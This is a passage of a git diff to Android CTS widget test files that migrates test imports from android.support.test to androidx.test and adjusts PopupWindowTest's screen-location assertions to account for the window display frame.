 import android.widget.ImageView.ScaleType;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java b/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
index 76c2ef6..027e8bd 100644
--- a/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
@@ -24,10 +24,6 @@
 import static org.junit.Assert.assertEquals;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
 import android.widget.GridLayout;
@@ -35,6 +31,11 @@
 import android.widget.RelativeLayout;
 import android.widget.TableLayout;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java b/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
index e552877..1f3f0e8 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
@@ -30,13 +30,6 @@
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
-import androidx.annotation.ColorInt;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -52,6 +45,14 @@
 import android.widget.TextView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.annotation.ColorInt;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
index 751caef..54513de 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
@@ -21,15 +21,16 @@
 
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.ViewGroup.LayoutParams;
 import android.view.ViewGroup.MarginLayoutParams;
 import android.widget.LinearLayout;
 import android.widget.cts.util.XmlUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParserException;
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 88f3450..a1bc0aa 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -40,10 +40,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.KeyEvent;
@@ -59,6 +55,11 @@
 import android.widget.PopupWindow;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewTest.java b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
index d97c66e..f1f5583 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
@@ -45,13 +45,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Pair;
 import android.util.SparseArray;
@@ -70,6 +63,14 @@
 import android.widget.TextView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index 0ab086c..29b536b 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -25,16 +25,17 @@
 import android.graphics.Bitmap;
 import android.graphics.PointF;
 import android.graphics.Rect;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.view.View;
 import android.widget.LinearLayout;
 import android.widget.LinearLayout.LayoutParams;
 import android.widget.Magnifier;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java b/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
index 386c3d9..a99f21d 100644
--- a/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
@@ -24,11 +24,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.MotionEvent;
@@ -36,6 +31,12 @@
 import android.widget.MediaController;
 import android.widget.VideoView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
index 4075a83..d89c43b 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
@@ -26,10 +26,6 @@
 
 import android.app.Activity;
 import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.TextUtils;
@@ -41,6 +37,11 @@
 import android.widget.MultiAutoCompleteTextView.CommaTokenizer;
 import android.widget.MultiAutoCompleteTextView.Tokenizer;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
index ba467e4..ea055cf 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
@@ -18,13 +18,14 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.style.UnderlineSpan;
 import android.widget.MultiAutoCompleteTextView;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 7392c99..4cc5ec6 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -30,16 +30,17 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.res.Configuration;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.accessibility.AccessibilityEvent;
 import android.widget.NumberPicker;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
index 13b81b0..430e80c 100644
--- a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
@@ -19,10 +19,6 @@
 import static org.junit.Assert.assertEquals;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.view.PointerIcon;
 import android.view.View;
@@ -30,6 +26,11 @@
 import android.widget.TabWidget;
 import android.widget.TextView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index e76382e..69411c9 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -29,11 +29,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.Resources;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.Menu;
 import android.view.MenuInflater;
@@ -45,6 +40,12 @@
 import android.widget.ListView;
 import android.widget.PopupMenu;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index c25c620..923f522 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -40,12 +40,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Transition;
 import android.transition.Transition.TransitionListener;
 import android.transition.TransitionValues;
@@ -65,6 +59,13 @@
 import android.widget.PopupWindow.OnDismissListener;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -635,6 +636,7 @@
     public void testShowAtLocation() throws Throwable {
         int[] popupContentViewInWindowXY = new int[2];
         int[] popupContentViewOnScreenXY = new int[2];
+        Rect containingRect = new Rect();
 
         mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         // Do not attach within the decor; we will be measuring location
@@ -658,11 +660,12 @@
         assertTrue(mPopupWindow.isShowing());
         mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
         mPopupWindow.getContentView().getLocationOnScreen(popupContentViewOnScreenXY);
+        upperAnchor.getWindowDisplayFrame(containingRect);
 
         assertTrue(popupContentViewInWindowXY[0] >= 0);
         assertTrue(popupContentViewInWindowXY[1] >= 0);
-        assertEquals(popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
-        assertEquals(popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
+        assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
+        assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
 
         dismissPopup();
     }
@@ -943,6 +946,7 @@
         int[] fstXY = new int[2];
         int[] sndXY = new int[2];
         int[] viewInWindowXY = new int[2];
+        Rect containingRect = new Rect();
         final Point popupPos = new Point();
 
         mActivityRule.runOnUiThread(() -> {
@@ -962,6 +966,7 @@
         showPopup();
         mPopupWindow.getContentView().getLocationInWindow(viewInWindowXY);
         final View containerView = mActivity.findViewById(R.id.main_container);
+        containerView.getWindowDisplayFrame(containingRect);
 
         // update if it is not shown
         mActivityRule.runOnUiThread(() -> mPopupWindow.update(80, 80));
@@ -983,8 +988,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(fstXY);
-        assertEquals(popupPos.x + viewInWindowXY[0], fstXY[0]);
-        assertEquals(popupPos.y + viewInWindowXY[1], fstXY[1]);
+        assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], fstXY[0]);
+        assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], fstXY[1]);
 
         popupPos.set(windowInsets.getStableInsetLeft() + 4, windowInsets.getStableInsetTop());
 
@@ -998,8 +1003,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(sndXY);
-        assertEquals(popupPos.x + viewInWindowXY[0], sndXY[0]);
-        assertEquals(popupPos.y + viewInWindowXY[1], sndXY[1]);
+        assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], sndXY[0]);
+        assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], sndXY[1]);
 
         dismissPopup();
     }
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
index 2acf8ecd..04ac5b2 100644
--- a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
@@ -20,12 +20,13 @@
 
 import android.app.Activity;
 import android.graphics.drawable.DrawableContainer;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.ProgressBar;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
index 5a68273..ce4d4a3 100644
--- a/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
@@ -38,10 +38,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.view.View;
 import android.view.animation.AccelerateDecelerateInterpolator;
@@ -51,6 +47,11 @@
 import android.widget.ProgressBar;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java b/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
index 0bec808..96a29f73 100644
--- a/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
+++ b/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
@@ -28,12 +28,13 @@
 import android.os.UserHandle;
 import android.provider.ContactsContract;
 import android.provider.ContactsContract.Contacts;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.QuickContactBadge;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index 2daa6ea..1ba68b1 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -26,14 +26,15 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.widget.RadioButton;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
index 869102b..74852c5 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
@@ -25,10 +25,6 @@
 
 import android.app.Activity;
 import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -42,6 +38,11 @@
 import android.widget.RadioGroup.OnCheckedChangeListener;
 import android.widget.RelativeLayout;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
index d7aecfd..2d6804e 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
@@ -22,15 +22,16 @@
 
 import android.content.Context;
 import android.content.res.TypedArray;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
 import android.view.ViewGroup;
 import android.widget.RadioGroup;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/RatingBarTest.java b/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
index 0725c10..10f2582 100644
--- a/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
@@ -27,12 +27,13 @@
 import static org.mockito.Mockito.verifyNoMoreInteractions;
 import static org.mockito.Mockito.verifyZeroInteractions;
 
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.RatingBar;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
index 76415e8..94f0046 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
@@ -25,10 +25,6 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -40,6 +36,11 @@
 import android.widget.RelativeLayout;
 import android.widget.cts.util.XmlUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
index 9de034b..bfcc73f 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
@@ -21,9 +21,6 @@
 
 import android.app.Activity;
 import android.content.res.XmlResourceParser;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.LayoutDirection;
 import android.view.View;
@@ -32,6 +29,10 @@
 import android.widget.RelativeLayout;
 import android.widget.cts.util.XmlUtils;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
index 5c92e66..ded1893 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
@@ -21,14 +21,15 @@
 
 import android.app.Activity;
 import android.os.Parcel;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InflateException;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.RemoteViews;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index 8798c2d..f547bed 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -37,12 +37,6 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.util.TypedValue;
 import android.view.View;
@@ -73,6 +67,13 @@
 import android.widget.ViewFlipper;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
index 0e05a0d..290de47 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
@@ -38,10 +38,6 @@
 import android.os.Bundle;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.AbsListView;
@@ -53,6 +49,11 @@
 import android.widget.cts.appwidget.MyAppWidgetProvider;
 import android.widget.cts.appwidget.MyAppWidgetService;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
index 3550108..7aafe96 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
@@ -16,10 +16,11 @@
 
 package android.widget.cts;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.RemoteViews;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
index 972f092..5d4a79a 100644
--- a/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
@@ -27,15 +27,16 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.database.MatrixCursor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
